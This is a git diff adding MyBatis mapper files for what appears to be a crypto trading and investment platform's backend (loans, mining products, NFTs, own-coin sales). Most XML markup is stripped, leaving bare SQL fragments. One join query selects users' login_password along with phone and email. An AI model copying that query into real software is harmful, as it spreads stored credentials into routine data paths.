+++ b/ruoyi-system/src/main/resources/mapper/bussiness/THelpCenterMapper.xml @@ -0,0 +1,147 @@ + + + + + + + + + + + + + + + + + + + + select id, title, language, enable, del_flag, create_time, create_by, update_time, update_by, remark, show_symbol from t_help_center + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + insert into t_help_center + + id, + title, + language, + enable, + del_flag, + create_time, + create_by, + update_time, + update_by, + remark, + show_symbol, + + + #{id}, + #{title}, + #{language}, + #{enable}, + #{delFlag}, + #{createTime}, + #{createBy}, + #{updateTime}, + #{updateBy}, + #{remark}, + #{showSymbol}, + + + + + update t_help_center + + title = #{title}, + language = #{language}, + enable = #{enable}, + del_flag = #{delFlag}, + create_time = #{createTime}, + create_by = #{createBy}, + update_time = #{updateTime}, + update_by = #{updateBy}, + remark = #{remark}, + show_symbol = #{showSymbol}, + + where id = #{id} + + + + update t_help_center set del_flag = '1' where id = #{id} + + + + update t_help_center set del_flag = '1' where id in + + #{id} + + + \ No newline at end of file diff --git a/ruoyi-system/src/main/resources/mapper/bussiness/THomeSetterMapper.xml b/ruoyi-system/src/main/resources/mapper/bussiness/THomeSetterMapper.xml new file mode 100644 index 0000000..bc3c8f8 --- /dev/null +++ b/ruoyi-system/src/main/resources/mapper/bussiness/THomeSetterMapper.xml @@ -0,0 +1,110 @@ + + + + + + + + + + + + + + + + + + + + + + select id, title, author, content, create_time, img_url, sort, is_show, language_name, likes_num, home_type, model_type, search_value from t_home_setter + + + + + + + + insert into t_home_setter + + title, + author, + content, + create_time, + img_url, + sort, + is_show, + language_name, + likes_num, + home_type, + model_type, + search_value, + + + #{title}, + #{author}, + #{content}, + #{createTime}, + #{imgUrl}, + #{sort}, + #{isShow}, + #{languageName}, + #{likesNum}, + #{homeType}, + #{modelType}, + #{searchValue}, + + + + + update t_home_setter + + title = #{title}, + author = #{author}, + content = #{content}, + create_time = #{createTime}, + img_url = #{imgUrl}, + sort = #{sort}, + is_show = #{isShow}, + language_name = #{languageName}, + likes_num = #{likesNum}, + home_type = #{homeType}, + model_type = #{modelType}, + search_value = #{searchValue}, + + where id = #{id} + + + + delete from t_home_setter where id = #{id} + + + + delete from t_home_setter where id in + + #{id} + + + \ No newline at end of file diff --git a/ruoyi-system/src/main/resources/mapper/bussiness/TLoadOrderMapper.xml b/ruoyi-system/src/main/resources/mapper/bussiness/TLoadOrderMapper.xml new file mode 100644 index 0000000..2921ac2 --- /dev/null +++ b/ruoyi-system/src/main/resources/mapper/bussiness/TLoadOrderMapper.xml @@ -0,0 +1,209 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + select a.id, a.pro_id, a.user_id, a.create_time, a.amount, a.rate, a.interest, a.status, a.final_repay_time, + a.disburse_time, a.return_time, a.disburse_amount, a.admin_parent_ids, a.card_url, a.card_back_url, + a.capital_url, a.license_url, a.order_no, a.cycle_type, a.remark, a.create_by, a.update_by, a.update_time, a.search_value, + p.id p_id, p.amount_min p_amount_min, p.amount_max p_amount_max, p.cycle_type p_cycle_type, p.repay_type p_repay_type, p.status p_status, p.create_by p_create_by, + p.create_time p_create_time, p.update_by p_update_by, p.update_time p_update_time, p.remark p_remark, p.search_value p_search_value, + p.odds p_odds, p.repay_org p_repay_org, p.is_freeze p_is_freeze + from t_load_order a + left join t_load_product p on p.id = a.pro_id + + + + + + + + + insert into t_load_order + + pro_id, + user_id, + create_time, + amount, + rate, + interest, + status, + final_repay_time, + disburse_time, + return_time, + disburse_amount, + admin_parent_ids, + card_url, + card_back_url, + capital_url, + license_url, + order_no, + cycle_type, + remark, + create_by, + update_by, + update_time, + search_value, + + + #{proId}, + #{userId}, + #{createTime}, + #{amount}, + #{rate}, + #{interest}, + #{status}, + #{finalRepayTime}, + #{disburseTime}, + #{returnTime}, + #{disburseAmount}, + #{adminParentIds}, + #{cardUrl}, + #{cardBackUrl}, + #{capitalUrl}, + #{licenseUrl}, + #{orderNo}, + #{cycleType}, + #{remark}, + #{createBy}, + #{updateBy}, + #{updateTime}, + #{searchValue}, + + + + + update t_load_order + + pro_id = #{proId}, + user_id = #{userId}, + create_time = #{createTime}, + amount = #{amount}, + rate = #{rate}, + interest = #{interest}, + status = #{status}, + final_repay_time = #{finalRepayTime}, + disburse_time = #{disburseTime}, + return_time = #{returnTime}, + disburse_amount = #{disburseAmount}, + admin_parent_ids = #{adminParentIds}, + card_url = #{cardUrl}, + card_back_url = #{cardBackUrl}, + capital_url = #{capitalUrl}, + license_url = #{licenseUrl}, + order_no = #{orderNo}, + cycle_type = #{cycleType}, + remark = #{remark}, + create_by = #{createBy}, + update_by = #{updateBy}, + update_time = #{updateTime}, + search_value = #{searchValue}, + + where id = #{id} + + + + delete from t_load_order where id = #{id} + + + + delete from t_load_order where id in + + #{id} + + + \ No newline at end of file diff --git a/ruoyi-system/src/main/resources/mapper/bussiness/TLoadProductMapper.xml b/ruoyi-system/src/main/resources/mapper/bussiness/TLoadProductMapper.xml new file mode 100644 index 0000000..54c0b2b --- /dev/null +++ b/ruoyi-system/src/main/resources/mapper/bussiness/TLoadProductMapper.xml @@ -0,0 +1,123 @@ + + + + + + + + + + + + + + + + + + + + + + + + + select id, amount_min, amount_max, cycle_type, repay_type, status, create_by, create_time, update_by, update_time, remark, search_value, odds, repay_org, is_freeze from t_load_product + + + + + + + + insert into t_load_product + + amount_min, + amount_max, + cycle_type, + repay_type, + status, + create_by, + create_time, + update_by, + update_time, + remark, + search_value, + odds, + repay_org, + is_freeze, + + + + #{amountMin}, + #{amountMax}, + #{cycleType}, + #{repayType}, + #{status}, + #{createBy}, + #{createTime}, + #{updateBy}, + #{updateTime}, + #{remark}, + #{searchValue}, + #{odds}, + #{repayOrg}, + #{isFreeze}, + + + + + update t_load_product + + amount_min = #{amountMin}, + amount_max = #{amountMax}, + cycle_type = #{cycleType}, + repay_type = #{repayType}, + status = #{status}, + create_by = #{createBy}, + create_time = #{createTime}, + update_by = #{updateBy}, + update_time = #{updateTime}, + remark = #{remark}, + search_value = #{searchValue}, + odds = #{odds}, + repay_org = #{repayOrg}, + is_freeze = #{isFreeze}, + + where id = #{id} + + + + delete from t_load_product where id = #{id} + + + + delete from t_load_product where id in + + #{id} + + + \ No newline at end of file diff --git a/ruoyi-system/src/main/resources/mapper/bussiness/TMarketsMapper.xml b/ruoyi-system/src/main/resources/mapper/bussiness/TMarketsMapper.xml new file mode 100644 index 0000000..8602bf1 --- /dev/null +++ b/ruoyi-system/src/main/resources/mapper/bussiness/TMarketsMapper.xml @@ -0,0 +1,83 @@ + + + + + + + + + + + + + + + + select slug, fullname, website_url, status, kline, spot, futures from t_markets + + + + + + + + insert into t_markets + + slug, + fullname, + website_url, + status, + kline, + spot, + futures, + + + #{slug}, + #{fullname}, + #{websiteUrl}, + #{status}, + #{kline}, + #{spot}, + #{futures}, + + + + + update t_markets + + fullname = #{fullname}, + website_url = #{websiteUrl}, + status = #{status}, + kline = #{kline}, + spot = #{spot}, + futures = #{futures}, + + where slug = #{slug} + + + + delete from t_markets where slug = #{slug} + + + + delete from t_markets where slug in + + #{slug} + + + \ No newline at end of file diff --git a/ruoyi-system/src/main/resources/mapper/bussiness/TMineFinancialMapper.xml b/ruoyi-system/src/main/resources/mapper/bussiness/TMineFinancialMapper.xml new file mode 100644 index 0000000..6e480c1 --- /dev/null +++ b/ruoyi-system/src/main/resources/mapper/bussiness/TMineFinancialMapper.xml @@ -0,0 +1,191 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + select id, title, icon, status, days, default_odds, min_odds, max_odds, time_limit, limit_min, limit_max, is_hot, sort, create_by, create_time, update_by, update_time, buy_purchase, avg_rate, coin, classify, basic_invest_amount, total_invest_amount, level, process, remain_amount, remark, purchased_amount, problem, prodect_introduction from t_mine_financial + + + + + + + + insert into t_mine_financial + + title, + icon, + status, + days, + default_odds, + min_odds, + max_odds, + time_limit, + limit_min, + limit_max, + is_hot, + sort, + create_by, + create_time, + update_by, + update_time, + buy_purchase, + avg_rate, + coin, + classify, + basic_invest_amount, + total_invest_amount, + level, + process, + remain_amount, + remark, + purchased_amount, + problem, + prodect_introduction, + + + #{title}, + #{icon}, + #{status}, + #{days}, + #{defaultOdds}, + #{minOdds}, + #{maxOdds}, + #{timeLimit}, + #{limitMin}, + #{limitMax}, + #{isHot}, + #{sort}, + #{createBy}, + #{createTime}, + #{updateBy}, + #{updateTime}, + #{buyPurchase}, + #{avgRate}, + #{coin}, + #{classify}, + #{basicInvestAmount}, + #{totalInvestAmount}, + #{level}, + #{process}, + #{remainAmount}, + #{remark}, + #{purchasedAmount}, + #{problem}, + #{prodectIntroduction}, + + + + + update t_mine_financial + + title = #{title}, + icon = #{icon}, + status = #{status}, + days = #{days}, + default_odds = #{defaultOdds}, + min_odds = #{minOdds}, + max_odds = #{maxOdds}, + time_limit = #{timeLimit}, + limit_min = #{limitMin}, + limit_max = #{limitMax}, + is_hot = #{isHot}, + sort = #{sort}, + create_by = #{createBy}, + create_time = #{createTime}, + update_by = #{updateBy}, + update_time = #{updateTime}, + buy_purchase = #{buyPurchase}, + avg_rate = #{avgRate}, + coin = #{coin}, + classify = #{classify}, + basic_invest_amount = #{basicInvestAmount}, + total_invest_amount = #{totalInvestAmount}, + level = #{level}, + process = #{process}, + remain_amount = #{remainAmount}, + remark = #{remark}, + purchased_amount = #{purchasedAmount}, + problem = #{problem}, + prodect_introduction = #{prodectIntroduction}, + + where id = #{id} + + + + delete from t_mine_financial where id = #{id} + + + + delete from t_mine_financial where id in + + #{id} + + + \ No newline at end of file diff --git a/ruoyi-system/src/main/resources/mapper/bussiness/TMineOrderDayMapper.xml b/ruoyi-system/src/main/resources/mapper/bussiness/TMineOrderDayMapper.xml new file mode 100644 index 0000000..51f32d4 --- /dev/null +++ b/ruoyi-system/src/main/resources/mapper/bussiness/TMineOrderDayMapper.xml @@ -0,0 +1,92 @@ + + + + + + + + + + + + + + + + + + select amount, odds, earn, plan_id, order_no, create_time, address, type, update_time from t_mine_order_day + + + + + + + + insert into t_mine_order_day + + amount, + odds, + earn, + plan_id, + order_no, + create_time, + address, + type, + update_time, + + + #{amount}, + #{odds}, + #{earn}, + #{planId}, + #{orderNo}, + #{createTime}, + #{address}, + #{type}, + #{updateTime}, + + + + + update t_mine_order_day + + odds = #{odds}, + earn = #{earn}, + plan_id = #{planId}, + order_no = #{orderNo}, + create_time = #{createTime}, + address = #{address}, + type = #{type}, + update_time = #{updateTime}, + + where amount = #{amount} + + + + delete from t_mine_order_day where amount = #{amount} + + + + delete from t_mine_order_day where amount in + + #{amount} + + + \ No newline at end of file diff --git a/ruoyi-system/src/main/resources/mapper/bussiness/TMineOrderMapper.xml b/ruoyi-system/src/main/resources/mapper/bussiness/TMineOrderMapper.xml new file mode 100644 index 0000000..3212fc4 --- /dev/null +++ b/ruoyi-system/src/main/resources/mapper/bussiness/TMineOrderMapper.xml @@ -0,0 +1,161 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + select id, adress, amount,coin,avg_rate, days, status, plan_id, plan_title, order_no, create_time, end_time, settle_time, accumula_earn, update_time, min_odds, max_odds, default_odds, admin_user_ids, type, collection_order, user_id, order_amount from t_mine_order + + + + + + + + insert into t_mine_order + + adress, + amount, + days, + status, + plan_id, + plan_title, + order_no, + create_time, + end_time, + settle_time, + avg_rate, + accumula_earn, + update_time, + min_odds, + max_odds, + default_odds, + admin_user_ids, + type, + coin, + collection_order, + user_id, + order_amount, + + + #{adress}, + #{amount}, + #{days}, + #{status}, + #{planId}, + #{planTitle}, + #{orderNo}, + #{createTime}, + #{endTime}, + #{settleTime}, + #{avgRate}, + #{accumulaEarn}, + #{updateTime}, + #{minOdds}, + #{maxOdds}, + #{defaultOdds}, + #{adminUserIds}, + #{type}, + #{coin}, + #{collectionOrder}, + #{userId}, + #{orderAmount}, + + + + + update t_mine_order + + adress = #{adress}, + amount = #{amount}, + days = #{days}, + status = #{status}, + plan_id = #{planId}, + plan_title = #{planTitle}, + order_no = #{orderNo}, + create_time = #{createTime}, + end_time = #{endTime}, + settle_time = #{settleTime}, + avg_rate = #{avgRate}, + accumula_earn = #{accumulaEarn}, + update_time = #{updateTime}, + min_odds = #{minOdds}, + max_odds = #{maxOdds}, + default_odds = #{defaultOdds}, + admin_user_ids = #{adminUserIds}, + type = #{type}, + coin = #{coin}, + collection_order = #{collectionOrder}, + user_id = #{userId}, + order_amount = #{orderAmount}, + + where id = #{id} + + + + delete from t_mine_order where id = #{id} + + + + delete from t_mine_order where id in + + #{id} + + + \ No newline at end of file diff --git a/ruoyi-system/src/main/resources/mapper/bussiness/TMineUserMapper.xml b/ruoyi-system/src/main/resources/mapper/bussiness/TMineUserMapper.xml new file mode 100644 index 0000000..9f3e367 --- /dev/null +++ b/ruoyi-system/src/main/resources/mapper/bussiness/TMineUserMapper.xml @@ -0,0 +1,63 @@ + + + + + + + + + + + + select user_id, id, time_limit from t_mine_user + + + + + + + + insert into t_mine_user + + user_id, + id, + time_limit, + + + #{userId}, + #{id}, + #{timeLimit}, + + + + + update t_mine_user + + id = #{id}, + time_limit = #{timeLimit}, + + where user_id = #{userId} + + + + delete from t_mine_user where user_id = #{userId} + + + + delete from t_mine_user where user_id in + + #{userId} + + + \ No newline at end of file diff --git a/ruoyi-system/src/main/resources/mapper/bussiness/TMingOrderMapper.xml b/ruoyi-system/src/main/resources/mapper/bussiness/TMingOrderMapper.xml new file mode 100644 index 0000000..f464ba4 --- /dev/null +++ b/ruoyi-system/src/main/resources/mapper/bussiness/TMingOrderMapper.xml @@ -0,0 +1,146 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + select id, amount, days, status, plan_id, plan_title, order_no, create_time, end_time, settle_time, accumula_earn, update_time, min_odds, max_odds, admin_user_ids, collection_order, user_id, order_amount from t_ming_order + + + + + + + + insert into t_ming_order + + amount, + days, + status, + plan_id, + plan_title, + order_no, + create_time, + end_time, + settle_time, + accumula_earn, + update_time, + min_odds, + max_odds, + admin_user_ids, + collection_order, + user_id, + order_amount, + + + #{amount}, + #{days}, + #{status}, + #{planId}, + #{planTitle}, + #{orderNo}, + #{createTime}, + #{endTime}, + #{settleTime}, + #{accumulaEarn}, + #{updateTime}, + #{minOdds}, + #{maxOdds}, + #{adminUserIds}, + #{collectionOrder}, + #{userId}, + #{orderAmount}, + + + + + update t_ming_order + + amount = #{amount}, + days = #{days}, + status = #{status}, + plan_id = #{planId}, + plan_title = #{planTitle}, + order_no = #{orderNo}, + create_time = #{createTime}, + end_time = #{endTime}, + settle_time = #{settleTime}, + accumula_earn = #{accumulaEarn}, + update_time = #{updateTime}, + min_odds = #{minOdds}, + max_odds = #{maxOdds}, + admin_user_ids = #{adminUserIds}, + collection_order = #{collectionOrder}, + user_id = #{userId}, + order_amount = #{orderAmount}, + + where id = #{id} + + + + delete from t_ming_order where id = #{id} + + + + delete from t_ming_order where id in + + #{id} + + + + + \ No newline at end of file diff --git a/ruoyi-system/src/main/resources/mapper/bussiness/TMingProductMapper.xml b/ruoyi-system/src/main/resources/mapper/bussiness/TMingProductMapper.xml new file mode 100644 index 0000000..dd2d8ab --- /dev/null +++ b/ruoyi-system/src/main/resources/mapper/bussiness/TMingProductMapper.xml @@ -0,0 +1,137 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + select id, title, icon, status, days, default_odds, min_odds, max_odds, time_limit, limit_min, limit_max, sort, create_by, create_time, update_by, update_time, buy_purchase, coin, remark from t_ming_product + + + + + + + + insert into t_ming_product + + title, + icon, + status, + days, + default_odds, + min_odds, + max_odds, + time_limit, + limit_min, + limit_max, + sort, + create_by, + create_time, + update_by, + update_time, + buy_purchase, + coin, + remark, + + + #{title}, + #{icon}, + #{status}, + #{days}, + #{defaultOdds}, + #{minOdds}, + #{maxOdds}, + #{timeLimit}, + #{limitMin}, + #{limitMax}, + #{sort}, + #{createBy}, + #{createTime}, + #{updateBy}, + #{updateTime}, + #{buyPurchase}, + #{coin}, + #{remark}, + + + + + update t_ming_product + + title = #{title}, + icon = #{icon}, + status = #{status}, + days = #{days}, + default_odds = #{defaultOdds}, + min_odds = #{minOdds}, + max_odds = #{maxOdds}, + time_limit = #{timeLimit}, + limit_min = #{limitMin}, + limit_max = #{limitMax}, + sort = #{sort}, + create_by = #{createBy}, + create_time = #{createTime}, + update_by = #{updateBy}, + update_time = #{updateTime}, + buy_purchase = #{buyPurchase}, + coin = #{coin}, + remark = #{remark}, + + where id = #{id} + + + + delete from t_ming_product where id = #{id} + + + + delete from t_ming_product where id in + + #{id} + + + \ No newline at end of file diff --git a/ruoyi-system/src/main/resources/mapper/bussiness/TMingProductUserMapper.xml b/ruoyi-system/src/main/resources/mapper/bussiness/TMingProductUserMapper.xml new file mode 100644 index 0000000..4acb7e2 --- /dev/null +++ b/ruoyi-system/src/main/resources/mapper/bussiness/TMingProductUserMapper.xml @@ -0,0 +1,111 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + select a.id, a.product_id, a.app_user_id, a.pledge_num, a.create_by, a.create_time, a.update_by, a.update_time, + a.search_value, a.remark, + u.user_id, u.login_name, u.login_password, u.phone, u.is_test, u.status, u.host, u.email, + p.coin, p.icon, p.title + from t_ming_product_user a + left join t_app_user u on u.user_id = a.app_user_id + left join t_ming_product p on p.id = a.product_id + + + + + + + + insert into t_ming_product_user + + product_id, + app_user_id, + pledge_num, + create_by, + create_time, + update_by, + update_time, + search_value, + remark, + + + #{productId}, + #{appUserId}, + #{pledgeNum}, + #{createBy}, + #{createTime}, + #{updateBy}, + #{updateTime}, + #{searchValue}, + #{remark}, + + + + + update t_ming_product_user + + product_id = #{productId}, + app_user_id = #{appUserId}, + pledge_num = #{pledgeNum}, + create_by = #{createBy}, + create_time = #{createTime}, + update_by = #{updateBy}, + update_time = #{updateTime}, + search_value = #{searchValue}, + remark = #{remark}, + + where id = #{id} + + + + delete from t_ming_product_user where id = #{id} + + + + delete from t_ming_product_user where id in + + #{id} + + + \ No newline at end of file diff --git a/ruoyi-system/src/main/resources/mapper/bussiness/TNftOrderMapper.xml b/ruoyi-system/src/main/resources/mapper/bussiness/TNftOrderMapper.xml new file mode 100644 index 0000000..50d55f1 --- /dev/null +++ b/ruoyi-system/src/main/resources/mapper/bussiness/TNftOrderMapper.xml @@ -0,0 +1,102 @@ + + + + + + + + + + + + + + + + + + + + + select id, series_id, product_id, user_id, amount, status, remark, create_by, create_time, update_by, update_time, search_value from t_nft_order + + + + + + + + insert into t_nft_order + + series_id, + product_id, + user_id, + amount, + status, + remark, + create_by, + create_time, + update_by, + update_time, + search_value, + + + #{seriesId}, + #{productId}, + #{userId}, + #{amount}, + #{status}, + #{remark}, + #{createBy}, + #{createTime}, + #{updateBy}, + #{updateTime}, + #{searchValue}, + + + + + update t_nft_order + + series_id = #{seriesId}, + product_id = #{productId}, + user_id = #{userId}, + amount = #{amount}, + status = #{status}, + remark = #{remark}, + create_by = #{createBy}, + create_time = #{createTime}, + update_by = #{updateBy}, + update_time = #{updateTime}, + search_value = #{searchValue}, + + where id = #{id} + + + + delete from t_nft_order where id = #{id} + + + + delete from t_nft_order where id in + + #{id} + + + \ No newline at end of file diff --git a/ruoyi-system/src/main/resources/mapper/bussiness/TNftProductMapper.xml b/ruoyi-system/src/main/resources/mapper/bussiness/TNftProductMapper.xml new file mode 100644 index 0000000..dfa27e2 --- /dev/null +++ b/ruoyi-system/src/main/resources/mapper/bussiness/TNftProductMapper.xml @@ -0,0 +1,146 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + select id, series_id, img_url, user_id, price, chain_type, author, hold_address, handling_fee, copyright_fee, des, status, sale_status, end_date, remark, create_by, update_by, create_time, update_time, search_value, del_flag from t_nft_product + + + + + + + + insert into t_nft_product + + series_id, + img_url, + user_id, + price, + chain_type, + author, + hold_address, + handling_fee, + copyright_fee, + des, + status, + sale_status, + end_date, + remark, + create_by, + update_by, + create_time, + update_time, + search_value, + del_flag, + + + #{seriesId}, + #{imgUrl}, + #{userId}, + #{price}, + #{chainType}, + #{author}, + #{holdAddress}, + #{handlingFee}, + #{copyrightFee}, + #{des}, + #{status}, + #{saleStatus}, + #{endDate}, + #{remark}, + #{createBy}, + #{updateBy}, + #{createTime}, + #{updateTime}, + #{searchValue}, + #{delFlag}, + + + + + update t_nft_product + + series_id = #{seriesId}, + img_url = #{imgUrl}, + user_id = #{userId}, + price = #{price}, + chain_type = #{chainType}, + author = #{author}, + hold_address = #{holdAddress}, + handling_fee = #{handlingFee}, + copyright_fee = #{copyrightFee}, + des = #{des}, + status = #{status}, + sale_status = #{saleStatus}, + end_date = #{endDate}, + remark = #{remark}, + create_by = #{createBy}, + update_by = #{updateBy}, + create_time = #{createTime}, + update_time = #{updateTime}, + search_value = #{searchValue}, + del_flag = #{delFlag}, + + where id = #{id} + + + + delete from t_nft_product where id = #{id} + + + + delete from t_nft_product where id in + + #{id} + + + \ No newline at end of file diff --git a/ruoyi-system/src/main/resources/mapper/bussiness/TNftSeriesMapper.xml b/ruoyi-system/src/main/resources/mapper/bussiness/TNftSeriesMapper.xml new file mode 100644 index 0000000..1e50085 --- /dev/null +++ b/ruoyi-system/src/main/resources/mapper/bussiness/TNftSeriesMapper.xml @@ -0,0 +1,115 @@ + + + + + + + + + + + + + + + + + + + + + + + + select id, name, chain_type, coin_url, trade_amount, trade_num, ave_amount, logo_url, create_by, create_time, update_by, update_time, remark, search_value, del_flag from t_nft_series + + + + + + + + insert into t_nft_series + + name, + chain_type, + coin_url, + trade_amount, + trade_num, + ave_amount, + logo_url, + create_by, + create_time, + update_by, + update_time, + remark, + search_value, + del_flag, + + + #{name}, + #{chainType}, + #{coinUrl}, + #{tradeAmount}, + #{tradeNum}, + #{aveAmount}, + #{logoUrl}, + #{createBy}, + #{createTime}, + #{updateBy}, + #{updateTime}, + #{remark}, + #{searchValue}, + #{delFlag}, + + + + + update t_nft_series + + name = #{name}, + chain_type = #{chainType}, + coin_url = #{coinUrl}, + trade_amount = #{tradeAmount}, + trade_num = #{tradeNum}, + ave_amount = #{aveAmount}, + logo_url = #{logoUrl}, + create_by = #{createBy}, + create_time = #{createTime}, + update_by = #{updateBy}, + update_time = #{updateTime}, + remark = #{remark}, + search_value = #{searchValue}, + del_flag = #{delFlag}, + + where id = #{id} + + + + delete from t_nft_series where id = #{id} + + + + delete from t_nft_series where id in + + #{id} + + + \ No newline at end of file diff --git a/ruoyi-system/src/main/resources/mapper/bussiness/TNoticeMapper.xml b/ruoyi-system/src/main/resources/mapper/bussiness/TNoticeMapper.xml new file mode 100644 index 0000000..b9bb76a --- /dev/null +++ b/ruoyi-system/src/main/resources/mapper/bussiness/TNoticeMapper.xml @@ -0,0 +1,147 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + select notice_id, notice_title, notice_type, model_type, notice_content, comments_num, cover, view_num, expire_time, img_url, chained_url, detail_url, language_id, status, sort, remark, create_by, create_time, update_by, update_time, source from t_notice + + + + + + + + insert into t_notice + + notice_title, + notice_type, + model_type, + notice_content, + comments_num, + cover, + view_num, + expire_time, + img_url, + chained_url, + detail_url, + language_id, + status, + sort, + remark, + create_by, + create_time, + update_by, + update_time, + source, + + + #{noticeTitle}, + #{noticeType}, + #{modelType}, + #{noticeContent}, + #{commentsNum}, + #{cover}, + #{viewNum}, + #{expireTime}, + #{imgUrl}, + #{chainedUrl}, + #{detailUrl}, + #{languageId}, + #{status}, + #{sort}, + #{remark}, + #{createBy}, + #{createTime}, + #{updateBy}, + #{updateTime}, + #{source}, + + + + + update t_notice + + notice_title = #{noticeTitle}, + notice_type = #{noticeType}, + model_type = #{modelType}, + notice_content = #{noticeContent}, + comments_num = #{commentsNum}, + cover = #{cover}, + view_num = #{viewNum}, + expire_time = #{expireTime}, + img_url = #{imgUrl}, + chained_url = #{chainedUrl}, + detail_url = #{detailUrl}, + language_id = #{languageId}, + status = #{status}, + sort = #{sort}, + remark = #{remark}, + create_by = #{createBy}, + create_time = #{createTime}, + update_by = #{updateBy}, + update_time = #{updateTime}, + source = #{source}, + + where notice_id = #{noticeId} + + + + delete from t_notice where notice_id = #{noticeId} + + + + delete from t_notice where notice_id in + + #{noticeId} + + + \ No newline at end of file diff --git a/ruoyi-system/src/main/resources/mapper/bussiness/TOptionRulesMapper.xml b/ruoyi-system/src/main/resources/mapper/bussiness/TOptionRulesMapper.xml new file mode 100644 index 0000000..26ac1f6 --- /dev/null +++ b/ruoyi-system/src/main/resources/mapper/bussiness/TOptionRulesMapper.xml @@ -0,0 +1,85 @@ + + + + + + + + + + + + + + + + + select id, title, language, content, is_show, create_time, search_value, type from t_option_rules + + + + + + + + insert into t_option_rules + + title, + language, + content, + is_show, + create_time, + type, + search_value, + + + #{title}, + #{language}, + #{content}, + #{isShow}, + #{createTime}, + #{type}, + #{searchValue}, + + + + + update t_option_rules + + title = #{title}, + language = #{language}, + content = #{content}, + is_show = #{isShow}, + create_time = #{createTime}, + type = #{type}, + search_value = #{searchValue}, + + where id = #{id} + + + + delete from t_option_rules where id = #{id} + + + + delete from t_option_rules where id in + + #{id} + + + \ No newline at end of file diff --git a/ruoyi-system/src/main/resources/mapper/bussiness/TOwnCoinMapper.xml b/ruoyi-system/src/main/resources/mapper/bussiness/TOwnCoinMapper.xml new file mode 100644 index 0000000..ba431d1 --- /dev/null +++ b/ruoyi-system/src/main/resources/mapper/bussiness/TOwnCoinMapper.xml @@ -0,0 +1,152 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + select id, coin,logo,introduce, total_amount,purchase_limit,proportion,refer_coin, refer_market, show_symbol, price, raising_amount, raised_amount, participants_num, raising_time, begin_time, end_time, status, create_by, create_time, update_by, update_time, remark from t_own_coin + + + + + + + + insert into t_own_coin + + coin, + introduce, + logo, + total_amount, + purchase_limit, + refer_coin, + refer_market, + show_symbol, + price, + proportion, + raising_amount, + raised_amount, + participants_num, + raising_time, + begin_time, + end_time, + status, + create_by, + create_time, + update_by, + update_time, + remark, + + + #{coin}, + #{introduce}, + #{logo}, + #{totalAmount}, + #{purchaseLimit}, + #{referCoin}, + #{referMarket}, + #{showSymbol}, + #{price}, + #{proportion}, + #{raisingAmount}, + #{raisedAmount}, + #{participantsNum}, + #{raisingTime}, + #{beginTime}, + #{endTime}, + #{status}, + #{createBy}, + #{createTime}, + #{updateBy}, + #{updateTime}, + #{remark}, + + + + + update t_own_coin + + coin = #{coin}, + introduce = #{introduce}, + logo = #{logo}, + total_amount = #{totalAmount}, + purchase_limit = #{purchaseLimit}, + refer_coin = #{referCoin}, + refer_market = #{referMarket}, + show_symbol = #{showSymbol}, + price = #{price}, + proportion = #{proportion}, + raising_amount = #{raisingAmount}, + raised_amount = #{raisedAmount}, + participants_num = #{participantsNum}, + raising_time = #{raisingTime}, + begin_time = #{beginTime}, + end_time = #{endTime}, + status = #{status}, + create_by = #{createBy}, + create_time = #{createTime}, + update_by = #{updateBy}, + update_time = #{updateTime}, + remark = #{remark}, + + where id = #{id} + + + + delete from t_own_coin where id = #{id} + + + + delete from t_own_coin where id in + + #{id} + + + \ No newline at end of file diff --git a/ruoyi-system/src/main/resources/mapper/bussiness/TOwnCoinOrderMapper.xml b/ruoyi-system/src/main/resources/mapper/bussiness/TOwnCoinOrderMapper.xml new file mode 100644 index 0000000..4ae8600 --- /dev/null +++ b/ruoyi-system/src/main/resources/mapper/bussiness/TOwnCoinOrderMapper.xml @@ -0,0 +1,112 @@ + + + + + + + + + + + + + + + + + + + + + + select id,user_id, order_id, own_id, own_coin, amount, number, price, status, admin_user_ids, admin_parent_ids, create_time, update_time from t_own_coin_order + + + + + + + + + insert into t_own_coin_order + + order_id, + user_id, + own_id, + own_coin, + amount, + number, + price, + status, + admin_user_ids, + admin_parent_ids, + create_time, + update_time, + + + #{orderId}, + #{userId}, + #{ownId}, + #{ownCoin}, + #{amount}, + #{number}, + #{price}, + #{status}, + #{adminUserIds}, + #{adminParentIds}, + #{createTime}, + #{updateTime}, + + + + + update t_own_coin_order + + order_id = #{orderId}, + user_id = #{userId}, + own_id = #{ownId}, + own_coin = #{ownCoin}, + amount = #{amount}, + number = #{number}, + price = #{price}, + status = #{status}, + admin_user_ids = #{adminUserIds}, + admin_parent_ids = #{adminParentIds}, + create_time = #{createTime}, + update_time = #{updateTime}, + + where id = #{id} + + + + delete from t_own_coin_order where id = #{id} + + + + delete from t_own_coin_order where id in + + #{id} + + + \ No newline at end of file diff --git a/ruoyi-system/src/main/resources/mapper/bussiness/TOwnCoinSubscribeOrderMapper.xml b/ruoyi-system/src/main/resources/mapper/bussiness/TOwnCoinSubscribeOrderMapper.xml new file mode 100644 index 0000000..8e8d971 --- /dev/null +++ b/ruoyi-system/src/main/resources/mapper/bussiness/TOwnCoinSubscribeOrderMapper.xml @@ -0,0 +1,117 @@ + + + + + + + + + + + + + + + + + + + + + + select id, subscribe_id, user_id, order_id, own_id, own_coin, amount_limit, num_limit, price, status, remark, create_time, update_time from t_own_coin_subscribe_order + + + + + + + + + + + + insert into t_own_coin_subscribe_order + + subscribe_id, + order_id, + user_id, + own_id, + own_coin, + amount_limit, + num_limit, + price, + status, + remark, + create_time, + update_time, + + + #{subscribeId}, + #{orderId}, + #{userId}, + #{ownId}, + #{ownCoin}, + #{amountLimit}, + #{numLimit}, + #{price}, + #{status}, + #{remark}, + #{createTime}, + #{updateTime}, + + + + + update t_own_coin_subscribe_order + + subscribe_id = #{subscribeId}, + order_id = #{orderId}, + user_id = #{userId}, + own_id = #{ownId}, + own_coin = #{ownCoin}, + amount_limit = #{amountLimit}, + num_limit = #{numLimit}, + price = #{price}, + status = #{status}, + remark = #{remark}, + create_time = #{createTime}, + update_time = 